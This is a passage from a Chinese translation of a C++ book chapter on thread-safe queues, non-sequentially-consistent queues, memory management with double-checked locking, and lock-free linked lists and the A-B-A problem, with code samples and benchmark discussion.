作为比较,受自旋锁保护的堆栈可以在同一台机器上每秒执行约 70M 次操作。这与我们在上一节性能估计后的预期一致。然而,相同的估计表明,无锁堆栈在 ARM 处理器上可能更优秀。基准测试证实了我们的努力没有白费:

图 7.16 - ARM CPU 上无锁堆栈的性能(与图 7.12 进行比较)

图 7.16 - ARM CPU 上无锁堆栈的性能(与图 7.12 进行比较)

虽然基于锁的栈的单线程性能优越,但是如果线程数量很大,无锁栈的速度要快得多。如果基准测试包括大量的top()调用(即许多线程在一个线程弹出之前读取顶部元素)或者生产者和消费者线程是不同的(一些线程只调用push(),而其他线程只调用pop()),无锁栈的优势甚至更大。

总结这一部分,我们已经探讨了线程安全栈数据结构的不同实现。为了理解线程安全所需的内容,我们必须分析每个操作,以及多个并发操作的交互。以下是我们学到的教训:

  • 使用良好的锁实现,锁保护的栈提供了合理的性能,并且比其他选择更简单。

  • 关于数据结构使用限制的任何特定应用知识都应该被利用来廉价地获得性能。这不是开发通用解决方案的地方,恰恰相反:尽量实现尽可能少的功能,并尝试从限制中获得性能优势。

  • 一个通用的无锁实现是可能的,但即使对于像栈这样简单的数据结构,它也是相当复杂的。有时,这种复杂性甚至是合理的。

到目前为止,我们已经回避了内存管理的问题:当栈的容量用完时,它被隐藏在模糊的分配更多内存之后。我们需要稍后回到这个问题。但首先,让我们探索更多不同的数据结构。

线程安全队列

接下来我们要考虑的数据结构是队列。它是一个非常简单的数据结构,概念上是一个可以从两端访问的数组:数据被添加到数组的末尾,并从开头移除。在实现方面,队列和栈之间有一些非常重要的区别。也有许多相似之处,我们将经常参考前一节。

就像栈一样,STL 有一个队列容器std::queue,在并发性方面存在相同的问题:删除元素的接口不是事务性的,它需要三个单独的成员函数调用。如果我们想要使用带锁的std::queue创建线程安全队列,我们将不得不像处理栈一样对其进行包装:

template <typename T> class mt_queue {
  std::queue<T> s_;
  mutable spinlock l_;
  public:
  void push(const T& v) {
    std::lock_guard g(l_);
    s_.push(v);
  }
  std::optional<T> pop() {
    std::lock_guard g(l_);
    if (s_.empty()) {
      return std::optional<T>(std::nullopt);
    } else {
      std::optional<T> res(std::move(s_.front()));
      s_.pop();
      return res;
    }
  }
};

我们决定立即使用自旋锁(一个简单的基准测试可以证实它再次比互斥锁更快)。如果需要,front()方法可以类似于pop()方法实现,只是不移除前面的元素。基本基准测试再次测量将元素推送到队列并将其弹出所需的时间。使用与上一节相同的 X86 机器,我们可以得到以下数字:

图 7.17 - 自旋锁保护的 std::queue 的性能

图 7.17 - 自旋锁保护的 std::queue 的性能

作为比较,在相同的硬件上,没有任何锁的std::queue每秒可以传递大约 280M 个项目(项目是推送和弹出,因此我们测量每秒可以通过队列发送多少元素)。到目前为止,这个情况与我们之前在栈中看到的非常相似。为了比锁保护的版本更好,我们必须尝试提出一个无锁实现。

无锁队列

在我们深入设计无锁队列之前,重要的是对每个事务进行详细分析,就像我们为栈所做的那样。同样,我们将假设队列是建立在数组或类似数组的容器之上的(并且我们将推迟关于数组满时会发生什么的问题)。将元素推送到队列看起来就像为栈做的那样:

图 7.18 - 将元素添加到队列后面(生产者视图)

图 7.18 – 向队列后端添加元素(生产者视图)

我们所需要的只是数组中第一个空槽的索引。然而,从队列中移除元素与从栈中进行相同操作是完全不同的。您可以在图 7.19中看到这一点(与图 7.9进行比较):

图 7.19 – 从队列前端移除元素(消费者视图)

图 7.19 – 从队列前端移除元素(消费者视图)

元素从队列的前端移除,因此我们需要第一个尚未被移除的元素的索引(队列的当前前端),并且该索引也会被增加。

现在我们来到队列和栈之间的关键区别:在栈中,生产者和消费者都在同一位置操作:栈的顶部。我们已经看到了这样做的后果:一旦生产者开始在栈顶构造新元素,消费者就必须等待它完成。弹出操作不能返回最后构造的元素而不在数组中留下空洞,也不能在构造完成之前返回正在构造的元素。

对于队列,情况则大不相同。只要队列不为空,生产者和消费者根本不会相互交互。推送操作不需要知道前端索引在哪里,弹出操作也不关心后端索引在哪里,只要它在前端之前的某个位置。生产者和消费者不会竞争访问同一内存位置。

每当我们有多种不同的方式来访问数据结构,并且它们(大多数情况下)不相互交互时,一般建议首先考虑这些角色分配给不同线程的情况。进一步简化可以从每种类型的一个线程开始;在我们的情况下,这意味着一个生产者线程和一个消费者线程。

由于只有生产者需要访问后端索引,并且只有一个生产者线程,因此我们甚至不需要原子整数来表示此索引。同样,前端索引只是一个常规整数。这两个线程相互交互的唯一时间是队列变为空时。为此,我们需要一个原子变量:队列的大小。生产者在第一个空槽中构造新元素并增加后端索引(以任何顺序,只有一个生产者线程)。然后,它增加队列的大小,以反映队列现在有一个更多的元素可以从中取出。

消费者必须以相反的顺序操作:首先,检查大小以确保队列不为空。然后消费者可以从队列中取出第一个元素并增加前端索引。当然,在检查大小和访问前端元素之间大小可能会发生变化,但这不会造成任何问题:只有一个消费者线程,生产者线程只能增加大小。

在探索栈时,我们推迟了向数组添加更多内存的问题,并假设我们以某种方式知道栈的最大容量,并且不会超过它(如果超过了,我们也可以使推送操作失败)。对于队列,同样的假设是不够的:因为元素被添加和移除,前端和后端索引都会前进,并最终到达数组的末尾。当然,在这一点上,数组的第一个元素是未使用的,因此最简单的解决方案是将数组视为循环缓冲区,并对数组索引使用模运算:

template <typename T> class pc_queue {
  public:
  explicit pc_queue(size_t capacity) : 
    capacity_(capacity),
    data_(static_cast<T*>(::malloc(sizeof(T)*capacity_))) {}
  ~pc_queue() { ::free(data_); }
  bool push(const T& v) {
    if (size_.load(std::memory_order_relaxed) >= capacity_)
      return false;
    new (data_ + (back_ % capacity_)) T(v);
    ++back_;
    size_.fetch_add(1, std::memory_order_release);
    return true;
  }
  std::optional<T> pop() {
    if (size_.load(std::memory_order_acquire) == 0) {
      return std::optional<T>(std::nullopt);
    } else {
      std::optional<T> res(
        std::move(data_[front_ % capacity_]));
      data_[front_ % capacity_].~T();
      ++front_;
      size_.fetch_sub(1, std::memory_order_relaxed);
      return res;
    }
  }
  private:
  const size_t capacity_;
  T* const data_;
  size_t front_ = 0;
  size_t back_ = 0;
  std::atomic<size_t> size_;
};

由于我们在设计上接受了的约束条件,这个队列需要一个特殊的基准:一个生产者线程和一个消费者线程:

pc_queue<size_t> q(1UL<<20);
void BM_queue_prod_cons(benchmark::State& state) {
  const bool producer = state.thread_index & 1;
  const size_t N = state.range(0);
  for (auto _ : state) {
    if (producer) {
      for (size_t i = 0; i < N; ++i) q.push(i);
    } else {
      for (size_t i = 0; i < N; ++i) 
        benchmark::DoNotOptimize(q.pop());
    }
  }
  state.SetItemsProcessed(state.iterations()*N);
}
BENCHMARK(BM_queue_prod_cons)->Arg(1)->Threads(2)
  ->UseRealTime();
BENCHMARK_MAIN();

为了比较,我们应该在相同条件下对我们的锁保护队列进行基准测试(锁的性能通常对线程之间的竞争情况非常敏感)。在相同的 X86 机器上,两个队列的吞吐量大约为每秒 100M 个整数元素。在 ARM 处理器上,锁的成本通常更高,我们的队列也不例外:

图 7.20 - 在 ARM 上整数的基于锁和无锁队列的性能

图 7.20 - 在 ARM 上整数的基于锁和无锁队列的性能

然而,即使在 X86 上,我们的分析还没有完成。在前一节中,我们提到如果栈元素很大,复制它们所需的时间相对于线程同步(锁定或原子操作)要长。我们无法充分利用它,因为大多数情况下,一个线程仍然需要等待另一个线程完成复制,因此建议另一种方法:使用指针栈,实际数据存储在其他地方。缺点是我们需要另一个线程安全的容器来存储这些数据(尽管通常,程序无论如何都需要将其存储在某个地方)。这仍然是队列的一个可行建议,但现在我们有另一种选择。正如我们已经提到的,队列中的生产者和消费者线程不会互相等待:它们的交互在大小检查后就结束了。可以推断,如果数据元素很大,无锁队列将具有优势,因为两个线程可以同时复制数据,线程之间的竞争,或者两个线程争夺对同一内存位置的访问(锁或原子值)的时间要短得多。要进行这样的基准测试,我们只需要创建一个大对象的队列,比如一个包含大数组的结构体。正如预期的那样,即使在 X86 硬件上,无锁队列现在也表现得更快:

图 7.21 - 在 X86 上大型元素的基于锁和无锁队列的性能

图 7.21 - 在 X86 上大型元素的基于锁和无锁队列的性能

即使在我们施加了限制的情况下,这仍然是一个非常有用的数据结构:当我们知道可以入队的元素数量的上限,或者可以处理生产者在推送更多数据之前必须等待的情况时,这个队列可以用于在生产者和消费者线程之间传输数据。这个队列非常高效;对于一些应用程序来说更重要的是,它具有非常低且可预测的延迟:队列本身不仅是无锁的,而且是无等待的。一个线程永远不必等待另一个线程,除非队列已满。顺便说一句,如果消费者必须对从队列中取出的每个数据元素进行某些处理,并且开始落后直到队列填满,一个常见的方法是让生产者处理它无法入队的元素。这有助于延迟生产者线程,直到消费者赶上(这种方法并不适用于每个应用程序,因为它可能会无序处理数据,但通常情况下是有效的)。

我们的队列在有多个生产者或消费者线程的情况下的泛化将使实现更加复杂。基于原子大小的简单无等待算法即使我们将前后索引设为原子,也不再适用:如果多个消费者线程读取了一个非零大小的值,这对于所有这些线程来说已经不再足够让它们继续进行。对于多个消费者,大小可以在一个线程检查并发现非零值后减小并变为零(这只是意味着其他线程在第一个线程测试大小后,但在它尝试访问队列前弹出了所有剩余元素)。

一个通用的解决方案是使用我们为栈使用的相同技术:将前端和后端索引打包到一个 64 位原子字中,并使用比较和交换原子地访问它们两个。实现类似于栈的实现;在前一节理解了代码的读者已经准备好实现这个队列。在文献中还可以找到其他无锁队列解决方案;本章应该为您提供足够的背景来理解、比较和基准测试这些实现。

实现一个复杂的无锁数据结构是一个耗时的项目,需要技巧和注意力。在实现完成之前,最好能有一些性能估计,这样我们就可以知道努力是否有可能得到回报。我们已经看到了一种基准测试代码的方法,这个代码还不存在:一个模拟基准测试,结合了对非线程安全数据结构(每个线程本地的)的操作和对共享变量(锁或原子数据)的操作。目标是提出一个可以进行基准测试的计算等效代码片段;它永远不会完美,但是如果我们有一个关于一个具有三个原子变量和每个变量上的比较和交换操作的无锁队列的想法,并且我们发现估计的基准测试比自旋锁保护的队列慢几倍,那么实现真正的队列的工作可能不会得到回报。

部分实现代码的第二种基准测试方法是构建基准测试,避免我们尚未实现的某些边缘情况。例如,如果您期望队列大部分时间不为空,并且您的初始实现没有处理空队列的情况,那么您应该对该实现进行基准测试,并限制基准测试,使队列永远不会为空。这个基准测试将告诉您是否走在正确的轨道上:它将展示您在非空队列的典型情况下可以期望的性能。当我们推迟处理栈或队列耗尽内存的情况时,我们实际上已经采取了这种方法。我们简单地假设这种情况不会经常发生,并构建了基准测试来避免这种情况。

还有另一种并发数据结构实现类型,通常可以非常高效。我们接下来要学习这种技术。

非顺序一致的数据结构

让我们首先重新审视一个简单的问题,队列是什么?当然,我们知道队列是什么:它是一种数据结构,使得首先添加的元素也是首先检索到的。在概念上和许多实现中,这是由元素添加到底层数组的顺序来保证的:我们有一个排队元素的数组,新条目添加到前面,而最老的条目从后面读取。

但是让我们仔细检查一下这个定义是否仍然适用于并发队列。当从队列中读取一个元素时执行的代码看起来像这样:

T pop() {
  T return_value;
  return_value = data[back];
  --back;
  return return_value;
}

返回值可以用std::optional包装或通过引用传递;这并不重要。关键是,从队列中读取值,后面的索引递减,然后控制权返回给调用者。在多线程程序中,线程可以在任何时刻被抢占。完全有可能,如果我们有两个线程 A 和 B,线程 A 从队列中读取最旧的元素,那么线程 B 首先完成pop()的执行并将其值返回给调用者。因此,如果我们按顺序将两个元素 X 和 Y 入队,然后有多个线程将它们出队并打印它们的值,程序会先打印 Y 然后是 X。当多个线程将元素推送到队列时,也会发生相同类型的重新排序。最终结果是,即使队列本身保持严格的顺序(如果您暂停程序并检查内存中的数组,元素的顺序是正确的),程序观察到的出队元素的顺序也不能保证与它们入队的顺序完全一致。

当然,顺序也不是完全随机的:即使在并发程序中,栈看起来与队列非常不同。从队列中检索的数据的顺序大致上是添加值的顺序;重大的重新排列是罕见的(当一个线程因某种原因被延迟时会发生)。

我们的队列还保留了另一个非常重要的属性:顺序一致性。一个顺序一致的程序产生的输出与一个程序的输出是相同的,其中所有线程的操作都是依次执行的(没有任何并发),并且任何特定线程执行的操作的顺序不会改变。换句话说,等价程序接受所有线程执行的操作序列并将它们交错,但不会重新排列它们。

顺序一致性是一个方便的属性:分析这类程序的行为要容易得多。例如,在队列的情况下,我们保证如果两个元素 X 和 Y 由线程 A 入队,先是 X,然后是 Y,而它们恰好被线程 B 出队,它们将按正确的顺序出来。另一方面,我们可以争论说,实际上这并不重要:两个元素可能被两个不同的线程出队,这种情况下它们可以以任何顺序出现,因此程序必须能够处理它。

如果我们愿意放弃顺序一致性,这将开启一种全新的设计并发数据结构的方法。让我们以队列为例来探讨这个问题。基本思想是:我们可以有几个单线程子队列,而不是一个单一的线程安全队列。每个线程必须原子地获取这些子队列中的一个的独占所有权。实现这一点的最简单方法是使用原子指针数组指向子队列,如图 7.22所示。为了获取所有权并同时防止任何其他线程访问队列,我们原子地将子队列指针与空值交换。

图 7.22 - 基于原子指针访问的数组子队列的非顺序一致队列

图 7.22 - 基于原子指针访问的数组子队列的非顺序一致队列

需要访问队列的线程必须首先获取一个子队列。我们可以从指针数组的任何元素开始;如果它是空的,那么该子队列当前正在忙,我们尝试下一个元素,依此类推,直到我们保留一个子队列。在这一点上,只有一个线程在操作子队列,因此不需要线程安全(子队列甚至可以是std::queue)。操作(推送或弹出)完成后,线程通过将子队列指针原子地写回数组来将子队列的所有权返回给队列。

推送操作必须继续尝试保留子队列,直到找到一个(或者,我们可以允许推送在一定次数尝试后失败,并向调用者发出队列太忙的信号)。弹出操作可能只保留一个子队列,却发现它是空的。在这种情况下,它必须尝试从另一个子队列中弹出(我们可以保持队列中元素的原子计数,以优化如果队列为空则快速返回)。

当然,pop 可能在一个线程上失败,并报告队列为空,而实际上并不是,因为另一个线程已经将新数据推送到队列中。但这可能发生在任何并发队列中:一个线程检查队列大小,发现队列为空,但在控制返回给调用者之前,队列变得非空。再次,顺序一致性对多个线程可以观察到的不一致性类型施加了一些限制,而我们的非顺序一致队列使输出元素的顺序变得不太确定。不过,平均而言,顺序仍然是保持的。

这不是每个问题的正确数据结构,但当大部分时间都是类似队列的顺序是可以接受的时候,它可以带来显著的性能改进,特别是在具有许多线程的系统中。观察在运行许多线程的大型 X86 服务器上非顺序一致队列的扩展:

图 7.23 - 非顺序一致队列的性能

图 7.23 - 非顺序一致队列的性能

在这个基准测试中,所有线程都进行推送和弹出操作,并且元素相当大(复制每个元素需要复制 1KB 的数据)。作为比较,使用自旋锁保护的std::queue在单个线程上提供相同的性能(约每秒 170k 个元素),但不会扩展(整个操作被锁定),性能会缓慢下降(由于锁定的开销)到每秒约 130k 个元素的最大线程数。

当然,如果愿意为了性能而接受非顺序一致程序的混乱,许多其他数据结构也可以从这种方法中受益。

当涉及到诸如堆栈和队列之类的并发顺序容器需要更多内存时,我们需要讨论的最后一个主题。

并发数据结构的内存管理

到目前为止,我们一直坚持在内存管理问题上进行推迟,并假设数据结构的初始内存分配足够,至少对于不使整个操作单线程化的无锁数据结构来说是如此。我们在本章中看到的受锁保护和非顺序一致的数据结构并没有这个问题:在锁或独占所有权下,只有一个线程在特定的数据结构上操作,因此内存是以通常的方式分配的。

对于无锁数据结构,内存分配是一个重大挑战。这通常是一个相对较长的操作,特别是如果数据必须复制到新位置。即使多个线程可能检测到数据结构的内存用尽,通常也只有一个线程可以添加新的内存(很难使该部分也多线程化),其余线程必须等待。对于这个问题没有很好的一般解决方案,但我们将提出几条建议。

首先,最好的选择是完全避免问题。在许多情况下,当需要无锁数据结构时,可以估计其最大容量并预先分配内存。例如,我们可能知道要入队的数据元素的总数。或者,可能可以将问题推迟给调用者:而不是添加内存,我们可以告诉调用者数据结构已经达到容量上限;在某些问题中,这可能是无锁数据结构的性能的可接受折衷。

如果需要添加内存,非常希望添加内存不需要复制整个现有数据结构。这意味着我们不能简单地分配更多内存并将所有内容复制到新位置。相反,我们必须以固定大小的内存块存储数据,就像std::deque所做的那样。当需要更多内存时,将分配另一个块,并且通常有一些指针需要更改,但不会复制数据。

在所有进行内存分配的情况下,这必须是一个不经常发生的事件。如果不是这样,那么我们几乎肯定最好使用由锁或临时独占所有权保护的单线程数据结构。这种罕见事件的性能并不重要,我们可以简单地锁定整个数据结构,并让一个线程进行内存分配和所有必要的更新。关键要求是使常见的执行路径,即我们不需要更多内存的路径,尽可能快。

这个想法非常简单:我们肯定不希望每次都在每个线程上获取内存锁,这会使整个程序串行化。我们也不需要这样做:大多数情况下,我们并不缺内存,也不需要这个锁。因此,我们将检查一个原子标志。只有在内存分配当前正在进行时,标志才会被设置,所有线程都必须等待。

std::atomic<int> wait; // 1 if managing memory
if (wait == 1) {  
    … wait for memory allocation to complete …
}
if ( … out of memory … ) {  
    wait = 1;  
    … allocate more memory …  
    wait = 0;
}
… do the operation normally … 

问题在于,多个线程可能在一个设置等待标志之前同时检测到内存不足的情况;然后它们都会尝试向数据结构添加更多内存。这通常会产生竞争(重新分配底层存储很少是线程安全的)。然而,有一个简单的解决方案,称为双重检查锁定。它使用互斥锁(或另一个锁)和原子标志。如果标志未设置,一切正常,我们可以像往常一样继续。如果标志已设置,我们必须获取锁并再次检查标志:

std::atomic<int> wait;  // 1 if managing memorystd::mutex lock;
while (wait == 1) {};  // Memory allocation in progress
if ( … out of memory … ) {  
    std::lock_guard g(lock);  
    if (… out of memory …) { 
        // We got here first!   
        wait = 1;    
        … allocate more memory …   
        wait = 0;  
    }
}
… do the operation normally … 

第一次,我们在没有任何锁定的情况下检查内存不足的情况。这很快,而且大多数情况下,我们并不缺内存。第二次,在锁定状态下检查,我们保证只有一个线程在执行。多个线程可能会检测到我们内存不足;然而,第一个获得锁的线程是处理这种情况的线程。所有剩余的线程等待锁;当它们获得锁时,它们进行第二次检查(因此,双重检查锁定),并发现我们不再缺内存。

这种方法可以推广到处理任何特殊情况,这些情况发生得非常少,但是在无锁方式下实现起来比代码的其他部分要困难得多。在某些情况下,甚至可能对空队列等情况有用:正如我们所见,如果两组线程永远不必相互交互,那么处理多个生产者或多个消费者将需要一个简单的原子递增索引。如果在特定应用程序中,我们保证队列很少或几乎不会变为空,那么我们可以偏向于实现对非空队列非常快(无等待),但如果队列可能为空,则退回到全局锁的实现。

我们已经详细介绍了顺序数据结构。现在是时候学习下一个节点数据结构了。

线程安全的列表

在我们迄今为止研究的顺序数据结构中,数据存储在数组中(或者至少是由内存块组成的概念数组)。现在我们将考虑一种非常不同的数据结构类型,其中数据由指针连接在一起。最简单的例子是一个列表,其中每个元素都是单独分配的,但我们在这里学到的一切都适用于其他节点容器,如树、图或任何其他数据结构,其中每个元素都是单独分配的,并且数据由指针连接在一起。

为简单起见,我们将考虑一个单链表;在 STL 中,它可以作为std::forward_list使用:

图 7.24 - 带迭代器的单链表

图 7.24 - 带迭代器的单链表

因为每个元素都是单独分配的,所以它也可以单独释放。通常,这些数据结构使用轻量级分配器,其中内存是在大块中分配的,然后被分成节点大小的片段。当一个节点被释放时,内存不会被返回给操作系统,而是被放在一个空闲列表中,以供下一个分配请求使用。对于我们的目的来说,内存是直接从操作系统分配还是由专门的分配器处理(尽管后者通常更有效)在很大程度上并不重要。

列表迭代器在并发程序中提出了额外的挑战。正如我们在图 7.24中看到的,这些迭代器可以指向列表中的任何位置。如果从列表中删除一个元素,我们希望它的内存最终可以用于构造和插入另一个元素(如果我们不这样做,并且一直保留所有内存直到整个列表被删除,重复添加和删除几个元素可能会浪费大量内存)。然而,如果有一个迭代器指向它,我们就不能删除列表节点。这在单线程程序中也是如此,但在并发程序中管理起来通常要困难得多。由于可能有多个线程可能使用迭代器,我们通常无法通过操作的执行流来保证没有迭代器指向我们即将删除的元素。在这种情况下,我们需要迭代器来延长它们所指向的列表节点的生命周期。当然,这是引用计数智能指针(如std::shared_ptr)的工作。从现在开始,让我们假设列表中的所有指针,无论是将节点链接在一起的指针还是迭代器中的指针,都是智能指针(std::shared_ptr或具有更强线程安全性保证的类似指针)。

就像我们在顺序数据结构中所做的那样,我们对于线程安全数据结构的第一次尝试应该是一个带锁的实现。一般来说,除非你知道你需要一个,否则你不应该设计一个无锁的数据结构:开发无锁代码可能很,但尝试在其中找到错误绝对不是。

就像我们之前做的那样,我们必须重新设计接口的部分,以便所有操作都是事务性的:例如,pop_front()应该在列表为空或不为空时都能工作。然后我们可以用锁来保护所有操作。对于push_front()pop_front()等操作,我们可以期望与之前观察到的堆栈或队列类似的性能。但是列表提出了我们直到现在都没有不得不面对的额外挑战。

首先,列表支持在任意位置插入;在std::forward_list的情况下,可以使用insert_after()在迭代器指向的元素之后插入一个新元素。如果我们在两个线程上同时插入两个元素,我们希望插入可以同时进行,除非两个位置靠近并影响同一个列表节点。但是我们无法通过一个单一的锁来保护整个列表来实现这一点。

如果考虑长时间运行的操作,比如搜索列表中具有所需值的元素(或满足其他条件的元素),情况会更糟。我们将不得不为整个搜索操作锁定列表,因此在遍历列表时不能添加或删除元素。当然,如果我们经常搜索,列表就不是正确的数据结构,但是树和其他节点数据结构也有同样的问题:如果我们需要遍历数据结构的大部分部分,锁将在整个操作的持续时间内保持,阻止所有其他线程甚至访问与我们当前操作的节点无关的节点。

当然,如果你从未遇到这些问题,这些问题就不是你的问题:如果你的列表只从前端和后端访问,那么一个带锁的列表可能完全足够。正如我们已经多次看到的,当设计并发数据结构时,不必要的泛化是你的敌人。只构建你需要的东西。

然而,大部分时间,节点数据结构不仅仅是从两端访问,或者在树或图的情况下,并没有真正的“两端”。锁定整个数据结构,以便一次只能由一个线程访问,如果程序大部分时间在操作这个数据结构上,这是不可接受的。你可能考虑的下一个想法是分别锁定每个节点;在列表的情况下,我们可以给每个节点添加自旋锁,并在需要更改时锁定节点。不幸的是,这种方法遇到了所有基于锁的解决方案的问题:死锁。任何需要操作多个节点的线程都必须获取多个锁。假设线程 A 持有节点 1 的锁,现在它需要在节点 2 后插入一个新节点,所以它也试图获取那个锁。与此同时,线程 B 持有节点 2 的锁,并且想要删除节点 1 后的节点,所以它也试图获取那个锁。这两个线程现在将永远等待。除非我们对线程如何访问列表施加非常严格的限制(一次只持有一个锁),否则无法避免这个问题,因为锁可以以任意顺序获取,然后我们会面临活锁的风险,因为许多线程不断释放和重新获取锁。

如果我们真的需要一个可以同时访问的列表或其他节点数据结构,我们必须想出一个无锁实现。正如我们已经看到的,无锁代码不容易编写,甚至更难正确编写。很多时候,更好的选择是想出一个不需要线程安全节点数据结构的不同算法。通常,这可以通过将全局数据结构的部分复制到一个特定于线程的数据结构中,然后由单个线程访问;在计算结束时,来自所有线程的片段再次放在一起。有时,更容易对数据结构进行分区,以便不会同时访问节点(例如,可能可以对图进行分区,并在一个线程上处理每个子图,然后处理边界节点)。但如果你真的需要一个线程安全的节点数据结构,下一节将解释挑战并为你提供一些实现选项。

无锁列表

无锁列表的基本思想,或者任何其他节点容器,都非常简单,基于使用比较和交换来操作节点的指针。让我们从更简单的操作开始:插入。我们将描述在列表头部的插入,但在任何其他节点之后的插入都是相同的方式进行。

图 7.25 - 在单链表头部插入新节点

图 7.25 - 在单链表头部插入新节点

假设我们想要在图 7.25a所示的列表头部插入一个新节点。第一步是读取当前的头指针,即指向第一个节点的指针。然后我们创建具有所需值的新节点;它的下一个指针与当前头指针相同,因此这个节点在当前第一个节点之前链接到列表中(图 7.25b)。此时,新节点还不可访问给其他线程,因此数据结构可以同时访问。最后,我们执行 CAS:如果当前头指针仍然未更改,我们就以原子方式将其替换为指向新节点的指针(图 7.25c)。如果头指针不再具有我们最初读取时的值,我们就读取新值,将其写为新节点的下一个指针,并再次尝试原子 CAS。

这是一个简单而可靠的算法。这是我们在上一章中看到的发布协议的泛化:新数据是在一个不关心线程安全的线程上创建的,因为它还不可访问给其他线程。作为最后的动作,线程通过原子方式改变根指针来发布数据,从而可以访问所有数据(在我们的情况下,是列表的头部)。如果我们要在另一个节点之后插入新节点,我们将原子地改变该节点的下一个指针。唯一的区别是多个线程可能同时尝试发布新数据;为了避免数据竞争,我们必须使用比较和交换。

现在,让我们考虑相反的操作,删除列表的前节点。这也是分三步完成的:

图 7.26 - 单链表头部的无锁移除

图 7.26 - 单链表头部的无锁移除

首先,我们读取头指针,用它来访问列表的第一个节点,并读取它的下一个指针(图 7.26a)。然后我们以原子方式将该下一个指针的值写入头指针(图 7.26b),但前提是头指针没有改变(CAS)。此时,原来的第一个节点对其他线程不可访问,但我们的线程仍然具有头指针的原始值,并可以使用它来删除我们已经移除的节点(图 7.26c)。这是简单而可靠的。但当我们尝试结合这两个操作时,问题就出现了。

假设两个线程同时在列表上操作。线程 A 正在尝试移除列表的第一个节点。第一步是读取头指针和下一个节点的指针;这个指针即将成为列表的新头部,但比较和交换还没有发生。目前,头部未更改,新头部是一个只存在于线程 A 的某个本地变量中的值 head'。这一刻被捕捉在图 7.27a中:

图 7.27 - 单链表头部的无锁插入和移除

图 7.27 - 单链表头部的无锁插入和移除

就在这时,线程 B 成功地移除了列表的第一个节点。然后它也移除了下一个节点,使列表处于图 7.27b所示的状态(线程 A 没有取得任何进展)。然后线程 B 在列表的头部插入一个新节点(图 7.27c);然而,由于两个删除节点的内存已被释放,节点 T4 的新分配重用了旧分配,因此节点 T4 被分配到了原来节点 T1 曾经占据的相同地址。只要删除节点的内存可用于新的分配,这种情况很容易发生;事实上,大多数内存分配器更倾向于返回最近释放的内存,因为它仍然在 CPU 的缓存中是“热点”。

现在,线程 A 终于再次运行,它即将执行的操作是比较和交换:如果头指针自上次线程 A 读取以来没有改变,新的头就变成head'。不幸的是,就线程 A 所能看到的情况而言,头指针的值仍然是相同的(它无法观察到所有的变化历史)。CAS 操作成功,新的头指针现在指向了曾经是节点 T2 的未使用内存,而节点 T4 不再可访问(图 7.27d)。整个列表已经损坏。

这种失败机制在无锁数据结构中非常常见,它有一个名字:A-B-A 问题。这里的AB指的是内存位置:问题是数据结构中的某个指针从 A 变为 B,然后再变回 A。另一个线程只观察到初始和最终值,并没有看到任何变化;比较和交换操作成功,执行了程序员假定数据结构未改变的路径。不幸的是,这个假设是不正确的:数据结构几乎可以任意改变,除了观察到的指针的值被恢复到它曾经的值。

问题的根源在于,如果内存被释放和重新分配,指针或内存中的地址不能唯一标识存储在该地址的数据。对于这个问题有多种解决方案,但它们都通过不同的方式实现了同样的目标:确保一旦读取了将被比较和交换使用的指针,该地址的内存在比较和交换完成(成功或不成功)之前不能被释放。如果内存没有被释放,那么另一个分配就不能发生在同一个地址上,您就不会遇到 A-B-A 问题。请注意,不释放内存并不等同于不删除节点:您当然可以使节点对于数据结构的其余部分不可访问(删除节点),甚至可以调用节点中存储的数据的析构函数;您只是不能释放节点占用的内存。

有许多方法可以通过延迟内存释放来解决 A-B-A 问题。如果可能的话,特定于应用程序的选项通常是最简单的。如果您知道算法在数据结构的生命周期内不会删除许多节点,您可以简单地将所有已删除的节点保留在延迟释放列表中,在整个数据结构被删除时再删除。这种方法的更一般版本可以被描述为应用驱动的垃圾收集:所有释放的内存首先放在垃圾列表上。垃圾内存定期返回给主内存分配器,但在此期间,数据结构上的所有操作都被暂停:正在进行的操作必须在收集开始之前完成,所有新操作都被阻塞,直到收集完成。这确保了没有比较和交换操作可以跨越垃圾收集的时间间隔,因此,回收的内存永远不会被任何操作遇到。流行且通常非常高效的RCU读-复制-更新)技术也是这种方法的变体。另一种常见的方法是使用危险指针。

在本书中,我们将介绍另一种方法,它使用原子共享指针(std::shared_ptr本身不是原子的,但标准包含了对共享指针进行原子操作的必要函数,或者您可以为特定应用程序编写自己的函数并使其更快)。让我们重新审视图 7.27b,但现在让所有指针都是原子共享指针。只要有至少一个这样的指针指向一个节点,该节点就不能被释放。在相同的事件序列中,线程 A 仍然拥有指向原始节点 T1 的旧头指针,以及指向节点 T2 的新头指针head'

图 7.28 – 具有共享指针的无锁插入和删除的单链表头部

图 7.28 – 具有共享指针的无锁插入和删除的单链表头部

线程 B 已经从列表中删除了两个节点(图 7.28),但是内存还没有被释放。新节点 T4 被分配到了另一个地址,与当前分配的所有节点的地址不同。因此,当线程 A 恢复执行时,它会发现新的列表头与旧的头值不同;比较和交换将失败,线程 A 将再次尝试操作。此时,它将重新读取头指针(并获取节点 T3 的地址)。头指针的旧值现在已经消失;因为它是指向节点 T1 的最后一个共享指针,这个节点不再有引用并被删除。同样,一旦共享指针head'被重置为其新的预期值(节点 T3 的下一个指针),节点 T2 也会被删除。节点 T1 和 T2 都没有指向它们的共享指针,因此它们最终被删除。

当然,这解决了在前面插入的问题。为了允许在任何地方插入和删除,我们必须将所有节点的指针转换为共享指针。这包括所有节点的next指针以及隐藏在列表迭代器中的节点的指针。这样的设计还有另一个重要优势:它解决了与插入和删除同时发生的列表遍历(如搜索操作)的问题。

如果列表节点在有迭代器指向该列表时被移除(图 7.29),该节点将保持分配,并且迭代器仍然有效。即使我们移除了下一个节点(T3),它也不会被释放,因为有一个指向它的共享指针(节点 T2 的next指针)。迭代器可以遍历整个列表。

图 7.29 – 具有原子共享指针的无锁列表的线程安全遍历

图 7.29 – 具有原子共享指针的无锁列表的线程安全遍历

当然,这种遍历可能包括不再在列表中的节点,也就是说,不再从列表头部可达。这是并发数据结构的特性:没有有意义的方式来谈论列表的当前内容:了解列表的内容的唯一方法是从头到最后一个节点进行迭代,但是,当迭代器到达列表末尾时,先前的节点可能已经改变,遍历的结果不再是当前的。这种思维方式需要一些时间来适应。

